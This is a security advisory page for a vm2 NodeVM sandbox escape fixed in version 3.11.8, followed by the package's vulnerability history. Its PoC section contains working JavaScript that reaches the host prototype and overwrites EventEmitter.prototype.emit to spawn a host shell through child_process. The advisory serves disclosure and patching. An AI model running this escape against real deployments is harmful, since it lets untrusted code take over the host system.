vm2: Sandbox Escape (NodeVM)
Summary
It being possible to obtain the host __proto__ getter/setter, has been used in many reports:
- https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq
- https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg
- https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p
- https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6
Yet it was never patched...
This can, still, be used to escape the sandbox, one example (I'm sure there's other ways as well), is via console._stdout/console._stderr (NodeVM with console: 'inherit', which is the default)
Details
The prototype chain for console._stdout/console._stderr is:
_stdout / _stderr
-> WriteStream (TTY only)
-> Socket
-> Duplex
-> Readable
-> Stream
-> EventEmitterprocess is an EventEmitter, and nothing stops us from writing things to EventEmmiter.prototype
By overwriting EventEmmiter.prototype.emit with a function, and making process emit an event (e.g. exit, unhandledRejection etc.), we can execute code with this being process.
This also bypasses --disallow-code-generation-from-strings, which blocks the "usual" escape of obtaining the host function constructor.
PoC
const { NodeVM } = require("vm2");
code = `
const gP = Buffer.call.call(__lookupGetter__,67,'__proto__');
// vm __proto__ getter
console.log(__lookupGetter__.call(0,'__proto__').call(console._stderr)); // [Object: null prototype] {}
// host __proto__ getter
console.log(gP.call(console._stderr)); // Socket { [...] }
let p = console._stdout;
while (p.pipe) {
console.log(p.constructor.name);
p = gP.call(p);
};
p.emit = function(){
console.log(this+[]);
this.getBuiltinModule("child_process").execSync("sh",{stdio:"inherit"})
}
`;
const vm = new NodeVM();
vm.run(code);Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | vm2 | < 3.11.8 | 3.11.8 |
References
- https://github.com/patriksimek/vm2/security/advisories/GHSA-88hf-g992-jg85
- https://nvd.nist.gov/vuln/detail/CVE-2026-92955
- https://github.com/patriksimek/vm2/commit/22a43704c04b66823b4064b8a16fe1ad54ad0290
- https://github.com/patriksimek/vm2
- https://github.com/patriksimek/vm2/blob/v3.11.7/lib/bridge.js#L1963-L1989
- https://github.com/patriksimek/vm2/blob/v3.11.7/lib/setup-node-sandbox.js#L437-L440
- https://github.com/patriksimek/vm2/releases/tag/v3.11.8
- https://www.vulncheck.com/advisories/vm2-before-3.11.8-sandbox-escape-via-nodevm
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H- Weakness (CWE)
CWE-913- Platform
- npm
- Package
vm2- Disclosed
- 05.10.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-88hf-g992-jg85 - CC BY 4.0
Vulnerability history: vm2
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 78
- First → latest
- 10.2021 10.2026
- Without a fix
- 1
- Exploited in attacks
- 0
Severity breakdown
- Critical 51
- High 14
- Medium 12
- Low 1
Disclosures per year
- 2021: 1
- 2022: 4
- 2023: 7
- 2024: 0
- 2025: 0
- 2026: 66
-
vm2: Sandbox Escape (NodeVM) this entry
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